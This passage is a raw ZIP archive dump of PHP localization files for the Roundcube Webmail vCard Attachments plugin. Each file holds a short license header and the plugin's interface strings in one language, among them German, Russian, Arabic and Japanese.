$labels['addvcardmsg'] = 'Kontakt im Adressbuch speichern';
$labels['vcardsavefailed'] = 'Der Kontakt konnte nicht gespeichert werden';
$labels['attachvcard'] = 'Als vCard anhängen';
$labels['vcardattached'] = 'vCard-Datei angehängt.';
$labels['vcard'] = 'vCard';
$labels['forwardvcard'] = 'Kontakt weiterleiten';
$labels['contactsattached'] = 'Es sind $num Kontakte an diese Nachricht angehängt.';
$labels['importedsuccessfully'] = 'Kontakt(e) erfolgreich in das Adressbuch importiert.';
PKh�\��8-��1plugins/vcard_attachments/localization/es_419.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Agregar vCard a la libreta de direcciones';
$labels['vcardsavefailed'] = 'No se puede guardar la vCard';
PKh�\J����-plugins/vcard_attachments/localization/uz.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'vCardni manzillar kitobiga qo‘shing';
$labels['vcardsavefailed'] = 'vCardni saqlash amalga oshirilmadi';
$labels['attachvcard'] = 'vCard ni biriktirish';
$labels['vcard'] = 'vCard';
PKh�\ġ����0plugins/vcard_attachments/localization/hy_AM.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Ավելացնել vCard-ը հասցեագրքում';
$labels['vcardsavefailed'] = 'vCard-ի պահպանումը ձախողվեց';
PKh�\���j��0plugins/vcard_attachments/localization/en_CA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Add vCard to addressbook';
$labels['vcardsavefailed'] = 'Unable to save vCard';
PKh�\�_�I110plugins/vcard_attachments/localization/zh_TW.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = '將 vCard 加入通訊錄';
$labels['vcardsavefailed'] = '無法儲存 vCard';
$labels['attachvcard'] = '附上 vCard';
$labels['vcardattached'] = '已附上 vCard 檔案。';
$labels['vcard'] = 'vCard';
$labels['forwardvcard'] = '轉寄 vCard';
PKh�\��c

0plugins/vcard_attachments/localization/ca_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Afegeix la vCard a la llibreta d\'adreces';
$labels['vcardsavefailed'] = 'No s\'ha pogut desar la vCard';
$labels['attachvcard'] = 'Adjunta la vCard';
$labels['vcardattached'] = 'Fitxer vCard adjunt.';
$labels['vcard'] = 'vCard';
$labels['forwardvcard'] = 'Reenvia vCard';
$labels['contactsattached'] = 'Hi ha $num contactes adjunts a aquest missatge.';
$labels['importedsuccessfully'] = 'El(s) contacte(s) s\'ha(n) importat correctament a la llibreta d\'adreces.';
PKh�\�)z��-plugins/vcard_attachments/localization/ia.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Adder le vCard al adressario';
$labels['vcardsavefailed'] = 'Impossibile salveguardar le vCard';
$labels['attachvcard'] = 'Attachar vCard';
$labels['vcard'] = 'vCard';
PKh�\��QK��0plugins/vcard_attachments/localization/bs_BA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Dodaj vCard u adresar';
$labels['vcardsavefailed'] = 'Nije moguće sačuvati vCard';
PKh�\o��3__0plugins/vcard_attachments/localization/ru_RU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Добавить в контакты';
$labels['vcardsavefailed'] = 'Не удалось сохранить vCard';
$labels['attachvcard'] = 'Вложить vCard';
$labels['vcardattached'] = 'Вложенный vCard';
$labels['vcard'] = 'vCard';
$labels['forwardvcard'] = 'Переслать vCard';
$labels['contactsattached'] = 'К этому сообщению прикреплено $num контактов.';
$labels['importedsuccessfully'] = 'Контакт(ы) успешно импортирован(ы) в адресную книгу.';
PKh�\����0plugins/vcard_attachments/localization/fa_IR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'افزودن vCard به دفترچه نشانی';
$labels['vcardsavefailed'] = 'ناتوان در ذخیره vCard';
PKh�\蹃t��0plugins/vcard_attachments/localization/is_IS.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Bæta vCard í nafnaskrá';
$labels['vcardsavefailed'] = 'Tekst ekki að vista vCard';
$labels['attachvcard'] = 'Hengja við vCard';
$labels['vcardattached'] = 'vCard-skrá í viðhengi.';
$labels['vcard'] = 'vCard';
$labels['forwardvcard'] = 'Áframsenda vCard';
$labels['contactsattached'] = 'Það eru $num tengiliðir tengdir þessum skilaboðum.';
$labels['importedsuccessfully'] = 'Tókst að flytja tengiliði inn í nafnaskrána.';
PKh�\�j���0plugins/vcard_attachments/localization/vi_VN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Thêm vCard vào sổ địa chỉ';
$labels['vcardsavefailed'] = 'Không thể lưu vCard';
PKh�\��a���0plugins/vcard_attachments/localization/th_TH.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Add vCard to addressbook';
$labels['vcardsavefailed'] = 'Unable to save vCard';
$labels['attachvcard'] = 'Attach vCard';
$labels['vcard'] = 'vCard';
PKh�\�k J��0plugins/vcard_attachments/localization/ar_SA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'إضافة صيغة vCard إلى دفتر العناوين';
$labels['vcardsavefailed'] = 'غير قادر على الحفظ بصيغة vCard';
$labels['attachvcard'] = 'إرفاق vCard';
$labels['vcardattached'] = 'تم إرفاق ملف vCard.';
$labels['vcard'] = 'vCard';
$labels['forwardvcard'] = 'إعادة توجيه vCard';
$labels['contactsattached'] = 'هناك $num من جهات الاتصال المرفقة بهذه الرسالة.';
$labels['importedsuccessfully'] = 'تم استيراد جهة (جهات) الاتصال بنجاح إلى دفتر العناوين.';
PKh�\f�j��0plugins/vcard_attachments/localization/az_AZ.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'vCard-ı kontakta daxil et';
$labels['vcardsavefailed'] = 'vCard-ı saxlamaq alınmadı';
PKh�\Z����0plugins/vcard_attachments/localization/id_ID.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Tambahkan vCard ke buku alamat';
$labels['vcardsavefailed'] = 'Tidak dapat menyimpan vCard';
$labels['attachvcard'] = 'Lampirkan vCard';
$labels['vcard'] = 'vCard';
PKh�\��X��0plugins/vcard_attachments/localization/hu_HU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'vCard hozzáadása a címjegyzékhez';
$labels['vcardsavefailed'] = 'A vCard mentése nem lehetséges';
$labels['attachvcard'] = 'vCard csatolása';
$labels['vcardattached'] = 'vCard csatolva.';
$labels['vcard'] = 'vCard';
$labels['forwardvcard'] = 'vCard továbbítása';
$labels['contactsattached'] = 'Az üzenethez $num kapcsolat tartozik.';
$labels['importedsuccessfully'] = 'A kapcsolat(ok) sikeresen importálodtak a címjegyzékbe.';
PKh�\Q�#��0plugins/vcard_attachments/localization/ro_RO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Adaugă vCard la agendă';
$labels['vcardsavefailed'] = 'Nu pot salva vCard';
$labels['attachvcard'] = 'Atașează vCard';
$labels['vcard'] = 'vCard';
PKh�\��}ό�-plugins/vcard_attachments/localization/eo.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Aldoni vCard al adresaro';
$labels['vcardsavefailed'] = 'vCard ne konserveblas';
PKh�\�e�10plugins/vcard_attachments/localization/fr_FR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Ajouter la vCard au carnet d’adresses';
$labels['vcardsavefailed'] = 'Impossible d’enregistrer la vCard';
$labels['attachvcard'] = 'Joindre la vCard';
$labels['vcardattached'] = 'Le fichier vCard a été joint.';
$labels['vcard'] = 'vCard';
$labels['forwardvcard'] = 'Transférer la vCard';
$labels['contactsattached'] = '$num contacts sont joints à ce message.';
$labels['importedsuccessfully'] = 'Les contacts ont été importés avec succès au carnet d’adresses.';
PKh�\��880plugins/vcard_attachments/localization/hr_HR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Dodaj vCard u imenik';
$labels['vcardsavefailed'] = 'Ne mogu pohraniti vCard';
$labels['attachvcard'] = 'Priloži vCard';
$labels['vcardattached'] = 'vCard datoteka priložena.';
$labels['vcard'] = 'vCard';
$labels['forwardvcard'] = 'Proslijedi vCard';
PKh�\c��0plugins/vcard_attachments/localization/pl_PL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Dodaj wizytówkę (vCard) do kontaktów';
$labels['vcardsavefailed'] = 'Nie można zapisać wizytówki (vCard)';
$labels['attachvcard'] = 'Dołącz plik vCard';
$labels['vcardattached'] = 'Załączono plik vCard.';
$labels['vcard'] = 'vCard';
$labels['forwardvcard'] = 'Prześlij vCard.';
$labels['contactsattached'] = 'Ta wiadomość posiada $num załączone kontakty.';
$labels['importedsuccessfully'] = 'Kontakt(y) zostały zaimportowane do książki adresowej.';
PKh�\�}�0plugins/vcard_attachments/localization/mr_IN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'व्हीकार्ड पत्ते नोंदवहीत समाविष्ट करा';
$labels['vcardsavefailed'] = 'व्हीकार्ड जतन करण्यास असमर्थ';
PKh�\@w�20plugins/vcard_attachments/localization/ja_JP.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'vCardをアドレス帳に追加';
$labels['vcardsavefailed'] = 'vCardを保存できませんでした。';
$labels['attachvcard'] = 'vCardを添付';
$labels['vcardattached'] = 'vCardが添付。';
$labels['vcard'] = 'vCard';
$labels['forwardvcard'] = 'vCardを転送';
$labels['contactsattached'] = 'このメッセージには、$num 個の連絡先が添付してあります。';
$labels['importedsuccessfully'] = 'アドレス帳に連絡先を取り込みました。';
PKh�\:�0plugins/vcard_attachments/localization/nn_NO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Legg til vCard i adresseboka';
$labels['vcardsavefailed'] = 'Klarte ikkje lagra vCard';
PKh�\I�;F��.plugins/vcard_attachments/localization/ast.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Amestar vCard a la llibreta de direiciones';
$labels['vcardsavefailed'] = 'Nun pue guardase la vCard';
PKh�\���A��0plugins/vcard_attachments/localization/sr_CS.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Додај в-картицу у адресар';
$labels['vcardsavefailed'] = 'Не могу да сачувам в-картицу';
PKh�\N�I��0plugins/vcard_attachments/localization/lb_LU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'vCard an d\'Adressbuch setzen';
$labels['vcardsavefailed'] = 'vCard kann net gespäichert ginn';
PKh�\����-plugins/vcard_attachments/localization/br.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Ouzhpennañ ar vCard d\'ar c\'harned chomlec\'hioù';
$labels['vcardsavefailed'] = 'N\'haller ket enrollañ ar vCard';
PKh�\�O���0plugins/vcard_attachments/localization/mk_MK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Додади виртуелна бизнис картичка во адресната книга ';
$labels['vcardsavefailed'] = 'Не може да се сочува виртуелна бизнис картичка';
$labels['attachvcard'] = 'Прикачи виртуелна бизнис картичка';
$labels['vcard'] = 'Виртуелна бизнис картичка';
PKh�\R����0plugins/vcard_attachments/localization/km_KH.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'បន្ថែម vCard ទៅ​សៀវភៅ​អាសយដ្ឋាន';
$labels['vcardsavefailed'] = 'មិន​អាច​រក្សាទុក vCard';
PKh�\��}��0plugins/vcard_attachments/localization/mn_MN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Хаягийн дэвтэрт vCard нэмэх';
$labels['vcardsavefailed'] = 'vCard хадгалж чадахгүй байна';
PKh�\/0A���0plugins/vcard_attachments/localization/he_IL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'הוספת כרטיס ביקור בפורמט vCard לספר הכתובות';
$labels['vcardsavefailed'] = 'לא ניתן לשמור את כרטיס הביקור  vCard';
$labels['attachvcard'] = 'צרפ/י קובץ חתימה (vCard)';
$labels['vcardattached'] = 'צורף קובץ vCard';
$labels['vcard'] = 'קובץ חתימה (vCard)';
$labels['forwardvcard'] = 'העברה של כרטיס ביקור';
$labels['contactsattached'] = 'להודעה זו קשורים num$ אנשי קשר';
$labels['importedsuccessfully'] = 'אנשי קשר יובאו בהצלחה לפנקס הכתובות';
PKh�\�n!�hh0plugins/vcard_attachments/localization/ga_IE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Cuir vCard leis an leabhar seoltaí';
$labels['vcardsavefailed'] = 'Ní féidir an vCard a chur i dtaisce';
$labels['attachvcard'] = 'Ceangail vCard leis';
$labels['vcardattached'] = 'Tá comhad vCard ceangailte leis.';
$labels['vcard'] = 'vCárta';
$labels['forwardvcard'] = 'Cuir vCard ar aghaidh';
PKh�\���??0plugins/vcard_attachments/localization/da_DK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Tilføj vCard til adressebogen';
$labels['vcardsavefailed'] = 'Kan ikke gemme dette vCard';
$labels['attachvcard'] = 'Tilføj vCard';
$labels['vcardattached'] = 'vCard fil vedhæftet.';
$labels['vcard'] = 'vCard';
$labels['forwardvcard'] = 'Videresend vCard';
PKh�\��`7��0plugins/vcard_attachments/localization/sl_SI.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Dodaj vCard med Stike.';
$labels['vcardsavefailed'] = 'Stika vCard ni bilo mogoče shraniti.';
$labels['attachvcard'] = 'Pripni vCard';
$labels['vcard'] = 'vCard';
PKh�\�k݇�-plugins/vcard_attachments/localization/ar.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'إضافة vCard إلى دفتر العناوين';
$labels['vcardsavefailed'] = 'غير قادر على حفظ بصيغة vCard';
$labels['attachvcard'] = 'إرفاق vCard';
$labels['vcardattached'] = 'تم إرفاق ملف بطاقة vCard.';
$labels['vcard'] = 'بطاقة vCard';
$labels['forwardvcard'] = 'تحويل vCard';
PKh�\.�����0plugins/vcard_attachments/localization/si_LK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
